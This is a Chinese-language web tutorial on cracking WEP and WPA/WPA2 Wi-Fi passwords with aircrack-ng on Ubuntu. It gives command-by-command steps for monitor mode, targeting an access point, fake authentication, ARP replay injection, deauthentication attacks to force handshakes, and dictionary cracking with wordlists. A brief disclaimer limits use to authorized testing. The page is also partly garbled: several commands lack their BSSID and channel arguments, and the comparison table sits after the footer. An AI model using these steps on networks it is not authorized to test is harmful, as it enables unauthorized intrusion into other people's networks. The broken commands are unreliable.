Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學

Ubuntu 下 Aircrack-ng 破解 WEP/WPA 無線網絡實戰教程

編輯:Linux 系統常見問題解答

聲明:本文僅供網絡安全學習、授權滲透測試、自身網絡安全審計使用。未經授權破解他人無線網絡屬於違法行為,嚴禁用於非法用途。

環境準備

  • Ubuntu 系統(建議 20.04/22.04 LTS)
  • 支援監聽模式/注入的無線網卡(推薦 Atheros AR9271、RTL8812AU、Intel 7260 等)
  • 安裝工具:sudo apt-get update && sudo apt-get install -y aircrack-ng

破解流程(以 WEP 為例,WPA 需抓握手包再跑字典)

1. 啟動監聽模式

# 查看無線網卡接口名
iwconfig
# 或
ip link show

# 啟動監聽模式(假設 wlan0)
sudo airmon-ng start wlan0
# 生成 mon0 或 wlan0mon 接口

2. 掃描周邊 AP 並鎖定目標

sudo airodump-ng mon0
# 觀察:BSSID、CH(頻道)、ENC(加密:WEP/WPA/WPA2)、ESSID、信號強度
# 目標鎖定後 Ctrl+C 退出,記錄 BSSID 和 CH

3. 定向抓包(針對目標 AP)

# 新開終端
sudo airodump-ng -c  --bssid  -w wep_capture mon0
# -c 指定頻道,--bssid 鎖定 AP,-w 指定輸出文件前綴
# 等待 DATA 帧數量增長(WEP 需 ≥ 15000-20000 IVs)

4. 偽裝認證(關聯 AP)

# 再新開終端
sudo aireplay-ng -1 0 -a  -h <本機MAC> mon0
# -1 偽裝認證,0 延遲,-a AP MAC,-h 本機無線網卡 MAC(ifconfig mon0 獲取)
# 成功顯示 "Association successful";失敗嘗試 -1 6000 重試

5. ARP 重放攻擊(加速 IVs 生成)

sudo aireplay-ng -3 -b  -h <本機MAC> mon0
# -3 ARP 重放攻擊,自動捕獲 ARP 請求並重發,大幅加速 DATA 增長
# 觀察步驟 3 終端 DATA 欄位飛速增長

6. 破解密鑰

# 數據包足夠後(≥20000 IVs),新開終端
sudo aircrack-ng wep_capture*.cap
# 自動嘗試破解,顯示 KEY FOUND! [ 12:34:56:78:90 ]

7. 清理現場

sudo airmon-ng stop mon0
# 必須停止監聽模式恢復網卡托管模式,否則網卡持續注入影響正常使用
# Ctrl+C 無法停止注入,必須 airmon-ng stop

WPA/WPA2 破解關鍵差異

關鍵避坑指南

  1. 網卡驅動支援注入:aireplay-ng -9 mon0 測試注入能力,失敗則換網卡/驅動。
  2. 頻道鎖定:抓包、攻擊、認證必須同一頻道(-c CH),否則無效。
  3. MAC 地址獲取:本機 MAC 用 ifconfig mon0 或 ip link show mon0 獲取 ether 字段。
  4. 字典質量決定 WPA 成敗:推薦 rockyou.txt、SecLists、針對性生成字典(crunch)。
  5. 法律紅線:僅對自有/授權網絡測試,記錄授權證明。
Copyright © Windows教程網 All Rights Reserved
階段WEPWPA/WPA2
認證偽裝認證即可需捕獲 4-way handshake(強制重認證)
攻擊方式統計攻擊(IVs 碰撞)字典暴力破解 / 彩虹表 / PMKID 攻擊
抓包命令同 WEPairodump-ng -c CH --bssid BSSID -w wpa_cap mon0
強制重認證不需要aireplay-ng -0 10 -a BSSID -c CLIENT_MAC mon0 (Deauth 攻擊)
破解命令aircrack-ng *.capaircrack-ng -w wordlist.txt wpa_cap*.cap